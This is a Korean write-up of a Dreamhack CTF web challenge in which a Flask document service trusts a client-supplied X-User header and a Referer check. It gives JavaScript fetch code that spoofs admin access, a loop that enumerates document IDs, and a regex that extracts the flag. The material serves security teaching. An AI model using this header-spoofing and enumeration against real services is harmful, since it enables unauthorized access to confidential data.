드림핵 CTF 문제 풀이
0. 개요
- 문제 이름 : DreamDocs
- 문제 유형 : Web
- 환경 :
- Flask 기반 문서 서비스
- /api/docs -> 문서 목록 제공
- /doc/
-> 문서 조회 - /share -> 접근 허용 기준 페이지
- 목표 :
- confidential 문서에 접근하여 HTML 내부에 숨겨진 FLAG를 획득한다.
1. 전체 구조 분석
1-1. 서비스 구조
서비스는 다음과 같은 흐름으로 동작한다.
Client -> /api/docs -> 문서 목록 확인 -> /doc/
문서 데이터는 서버 메모리(documents)에 저장되어 있으며,
특정 문서에는 FLAG가 포함되어 있다.
1-2. 플래그 위치
코드를 보면 FLAG는 다음 위치에 존재한다.
1
'content': f'... <!-- FLAG: {FLAG} --> ...'
즉, 플래그는 HTML 주석 형태로 문서 내부에 포함되어 있다.
1-3. 접근 제어 로직
문서 접근 시 다음 조건이 존재한다.
1
2
3
4
5
6
if '/share' not in referer:
return 403
if document['classification'] == 'confidential':
if user_level != 'admin':
return 403
즉, 조건은 다음 두가지다.
- Referer에 /share 포함
- X-User: admin
이 두 조건을 만족하면 confidential 문서 접근 가능
2. 취약점 분석
2-1. 헤더 기반 인증 취약점
user_level = request.headers.get(‘X-User’, ‘guest’)
권한을 헤더로 판단. 즉, 다음과 같이 보내면:
X-User: admin
누구나 admin 권한 획득 가능
2-2. Referer 기반 접근 제어
if ‘/share’ not in referer:
Referer 포함 여부로 접근 제어
하지만 Referer는:
- 클라이언트가 제어 가능
- 신뢰 불가능한 값
즉, 완전히 우회 가능한 로직
2-3. 취약점 정리
이 문제의 포인트는 두 가지다.
- X-User 헤더 신뢰 -> 권한 상승
- Referer 검사 -> 접근 제어 우회 가능
둘을 동시에 만족시키면 끝.
3. 공격 시나리오
3-1. 대상 문서 탐색
먼저 /api/docs를 확인한다.
1
2
3
[
{ "id": 227, "classification": "confidential", ... }
]
confidential 문서 발견 -> 타겟 선정
3-2. 직접 접근 실패
GET /doc/227
결과:
Access Denied
- Referer 조건 미충족
3-3. 해결 아이디어
핵심 아이디어:
브라우저가 자동으로 Referer 를 붙이게 만든다.
3-4. Referer 우회 방법
브라우저에서 /share 페이지를 열고
DevTools 콘솔에서 실행하면 자동으로 Referer가 /share로 설정된다.
1
2
3
4
5
fetch('/doc/227', {
headers: {
'X-User': 'admin'
}
})
3-5. 실행 흐름
이 요청은 실제로 다음과 같이 동작한다.
1
2
3
GET /doc/227
Referer: http://127.0.0.1:3333/share
X-User: admin
두 조건 모두 만족
3-6. 결과
서버가 문서를 반환하고
HTML 내부에 다음이 포함된다.
1
<!-- FLAG: DH{...} -->
3-7. 플래그 추출
정규식을 이용해서 추출한다.
1
const m = txt.match(/DH\{[\s\S]*?\}/);
FLAG만 추출 가능
4. 자동화 (Brute Force)
confidential 문서 ID를 모르는 경우:
1
2
3
4
5
6
7
8
9
10
11
for (let i = 100; i < 1000; i++) {
fetch(`/doc/${i}`, {
headers: { "X-User": "admin" }
})
.then(r => r.text())
.then(txt => {
if (txt.includes("confidential")) {
console.log(i, txt);
}
});
}
전체 ID 범위 탐색 기능
5. 전체 공격 흐름 정리
전체 익스플로잇은 다음 단계로 구성된다.
- /api/docs에서 confidential 문서 ID 확인
- /doc/
직접 접근 -> 실패 - /share 페이지에서 요청 발생
- 브라우저 자동 Referer 설정
- X-User: admin 헤더 삽입
- 문서 HTML 응답 획득
- 정규식으로 FLAG 추출
6. 포인트
이 문제의 포인트는 다음이다.
- 클라이언트 헤더를 신뢰하면 안된다.
- Referer 기반 인증은 취약하다.
- 브라우저 동작을 이용하면 쉽게 우회 가능
7. 정리
Referer 기반 접근 제어와 헤더 기반 권한 검증을 동시에 우회하여
confidential 문서에 접근하고,
HTML 주석에 숨겨진 FLAG를 획득하는 문제